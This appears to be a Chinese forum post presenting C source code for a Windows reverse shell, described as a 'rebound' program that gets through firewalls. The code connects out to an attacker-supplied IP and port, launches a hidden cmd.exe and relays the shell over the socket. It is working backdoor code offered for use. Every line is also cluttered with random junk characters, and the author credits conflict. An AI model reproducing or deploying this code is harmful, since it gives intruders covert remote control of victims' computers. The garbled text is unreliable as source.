Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 W ",yq|  
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/* ============================== .03Rp5+v  
Rebound port in Windows NT tUt_Q;%yC  
By wind,2006/7 p3>Md?e  
===============================*/ D#A6s32a  
#include TKQ^D  
#include J9MAnYd)i  
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#pragma comment(lib,"wsock32.lib") ICiGZ'k  
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void OutputShell(); #r/5!*3  
SOCKET sClient; h_]*|[g  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; I^HwXp([  
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void main(int argc,char **argv) "L!U7|9J  
{ 'uF75C  
WSADATA stWsaData; :| !5d{8S8  
int nRet; Sp2DpGs~  
SOCKADDR_IN stSaiClient,stSaiServer; 3 .K #,  
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if(argc != 3) D8{
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{ U }AIOtUw  
printf("Useage:\n\rRebound DestIP DestPort\n"); 6Yc(|>b!  
return; 'j-U=2,n  
} jYvl-2A'  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 4;Vi@(G)  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); GG"6O_  
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stSaiClient.sin_family = AF_INET; GS7'pTsYH  
stSaiClient.sin_port = htons(0); L6#4A3yh  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); }1%%`  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 3.1%L"r[)  
{ )7X$um  
printf("Bind Socket Failed!\n"); RB6Q>3g  
return; _zJ /z  
} _90<*{bt.  
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stSaiServer.sin_family = AF_INET; Lz!JLiMEET  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); @|5B}%!  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ioEjbqD<  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) q!W=U8`  
{ hC9EL= A  
printf("Connect Error!"); ?z2!?  
return; {3.n!7+  
} 7t1as.  
OutputShell(); 5E*Qqe  
} "vg.{
 
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void OutputShell() ANJL8t-m  
{ tfu`_6  
char szBuff[1024]; }+Q4s]  
SECURITY_ATTRIBUTES stSecurityAttributes; b^&azUkMN  
OSVERSIONINFO stOsversionInfo; bWSc&/9y  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 9 )!
}  
STARTUPINFO stStartupInfo; JU.!<  
char *szShell; $7W5smW/  
PROCESS_INFORMATION stProcessInformation; [$pb  
unsigned long lBytesRead; jD%|@ux  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); &]GR
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); IsShAi  
stSecurityAttributes.lpSecurityDescriptor = 0; TZ `Ypi7r  
stSecurityAttributes.bInheritHandle = TRUE; KVr9kcs  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ~#i2reG5  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); !tcz_%  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); lSlZ^.&  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QnP?j&  
stStartupInfo.wShowWindow = SW_HIDE; G+Bk!o  
stStartupInfo.hStdInput = hReadPipe; '2hy%  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 2g~ @99`  
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GetVersionEx(&stOsversionInfo); ij!
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switch(stOsversionInfo.dwPlatformId) 5!cp^[rGL  
{
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case 1: @}:E{J#g  
szShell = "command.com"; 4<Nd5T  
break; :WX OD  
default: u|T]Ne  
szShell = "cmd.exe"; /zb/am1#  
break; (z.n9lkfi  
} ZNM9@;7  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ^,mN-.W  
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send(sClient,szMsg,77,0); iF":c}$.  
while(1) /H"fycZ  
{ )Tp"l"(G  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); F'sX ^/;  
if(lBytesRead) ]uMZvAjb  
{ Yh!=mW!OY  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); U#]J5'i  
send(sClient,szBuff,lBytesRead,0); B :S8{  
} de)4)EzUP  
else c;Tp_e@  
{ x,]x>Up  
lBytesRead=recv(sClient,szBuff,1024,0); U\B9Ab  
if(lBytesRead<=0) break; _P!b0x~\  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); K;WQV,  
} ok0ZI>=,  
} J*MH`;-  
a/J Mg  
return; 0nL #-`S  
}